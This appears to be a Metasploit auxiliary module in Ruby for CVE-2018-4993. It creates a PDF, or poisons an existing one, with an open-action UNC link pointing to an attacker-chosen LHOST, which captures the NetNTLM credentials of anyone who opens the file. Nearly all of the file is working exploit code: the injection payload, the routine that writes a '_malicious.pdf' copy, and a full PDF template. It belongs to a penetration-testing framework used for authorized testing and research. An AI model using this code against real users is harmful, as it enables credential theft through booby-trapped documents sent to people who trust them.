##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BADPDF Malicious PDF Creator',
        'Description' => %q{
          This module can either creates a blank PDF file which contains a UNC link which can be used
          to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary
          code into an existing PDF document if possible.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Assaf Baharav', # Code provided as POC by CheckPoint
          'Yaron Fruchtmann', # Code provided as POC by CheckPoint
          'Ido Solomon',      # Code provided as POC by CheckPoint
          'Richard Davy - secureyourit.co.uk', # Metasploit
        ],
        'Platform' => ['win'],
        'References' => [
          ['CVE', '2018-4993'],
          ['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']
        ],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
      )
    register_options(
      [
        OptAddress.new('LHOST', [true, 'Host listening for incoming SMB/WebDAV traffic', nil]),
        OptString.new('FILENAME', [false, 'Filename']),
        OptPath.new('PDFINJECT', [false, 'Path and filename to existing PDF to inject UNC link code into'])
      ]
    )
  end

  def run
    if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil?
      print_error 'Please configure either FILENAME or PDFINJECT'
    elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')
      injectpdf
    elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf')
      createpdf
    else
      print_error "FILENAME or PDFINJECT must end with '.pdf' file extension"
    end
  end

  def injectpdf
    # Payload which gets injected
    inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"

    # if given path doesn't exist display error and return
    unless File.exist?(datastore['PDFINJECT'])
      # If file not found display error message
      print_error "File doesn't exist #{datastore['PDFINJECT']}"
      return
    end

    # Read in contents of file
    content = File.binread(datastore['PDFINJECT'])

    # Check for place holder - below ..should.. cover most scenarios.
    newdata = ''
    [2, 4, 6, 8].each do |pholder|
      unless content.index("/Contents #{pholder} 0 R").nil?
        # If place holder exists create new file content
        newdata = content[0..(content.index("/Contents #{pholder} 0 R") + 14)] + inject_payload + content[(content.index("/Contents #{pholder} 0 R") + 15)..-1]
        break
      end
    end

    # Display error message if we couldn't poison the file
    if newdata.empty?
      print_error 'Could not find placeholder to poison file this time....'
      return
    end

    # Create new filename by replacing .pdf with _malicious.pdf
    newfilename = "#{datastore['PDFINJECT'].gsub(/\.pdf$/, '')}_malicious.pdf"
    # Write content to file
    File.open(newfilename, 'wb') { |file| file.write(newdata) }
    # Check file exists and display path or error message
    if File.exist?(newfilename)
      print_good("Malicious file written to: #{newfilename}")
    else
      print_error 'Something went wrong creating malicious PDF file'
    end
  end

  def createpdf
    # Code below taken POC provided by CheckPoint Research
    pdf = ''
    pdf << "%PDF-1.7\n"
    pdf << "1 0 obj\n"
    pdf << "<</Type/Catalog/Pages 2 0 R>>\n"
    pdf << "endobj\n"
    pdf << "2 0 obj\n"
    pdf << "<</Type/Pages/Kids[3 0 R]/Count 1>>\n"
    pdf << "endobj\n"
    pdf << "3 0 obj\n"
    pdf << "<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>\n"
    pdf << "endobj\n"
    pdf << "xref\n"
    pdf << "0 4\n"
    pdf << "0000000000 65535 f\n"
    pdf << "0000000015 00000 n\n"
    pdf << "0000000060 00000 n\n"
    pdf << "0000000111 00000 n\n"
    pdf << "trailer\n"
    pdf << "<</Size 4/Root 1 0 R>>\n"
    pdf << "startxref\n"
    pdf << "190\n"
    pdf << "3 0 obj\n"
    pdf << "<< /Type /Page\n"
    pdf << "   /Contents 4 0 R\n"
    pdf << "   /AA <<\n"
    pdf << "     /O <<\n"
    pdf << "        /F (\\\\\\\\#{datastore['LHOST']}\\\\test)\n"
    pdf << "      /D [ 0 /Fit]\n"
    pdf << "      /S /GoToE\n"
    pdf << "      >>\n"
    pdf << "     >>\n"
    pdf << "     /Parent 2 0 R\n"
    pdf << "     /Resources <<\n"
    pdf << "      /Font <<\n"
    pdf << "        /F1 <<\n"
    pdf << "          /Type /Font\n"
    pdf << "          /Subtype /Type1\n"
    pdf << "          /BaseFont /Helvetica\n"
    pdf << "          >>\n"
    pdf << "         >>\n"
    pdf << "       >>\n"
    pdf << ">>\n"
    pdf << "endobj\n"
    pdf << "4 0 obj<< /Length 100>>\n"
    pdf << "stream\n"
    pdf << "BT\n"
    pdf << "/TI_0 1 Tf\n"
    pdf << "14 0 0 14 10.000 753.976 Tm\n"
    pdf << "0.0 0.0 0.0 rg\n"
    pdf << "(PDF Document) Tj\n"
    pdf << "ET\n"
    pdf << "endstream\n"
    pdf << "endobj\n"
    pdf << "trailer\n"
    pdf << "<<\n"
    pdf << "  /Root 1 0 R\n"
    pdf << ">>\n"
    pdf << "%%EOF\n"
    # Write data to filename
    file_create(pdf)
  end
end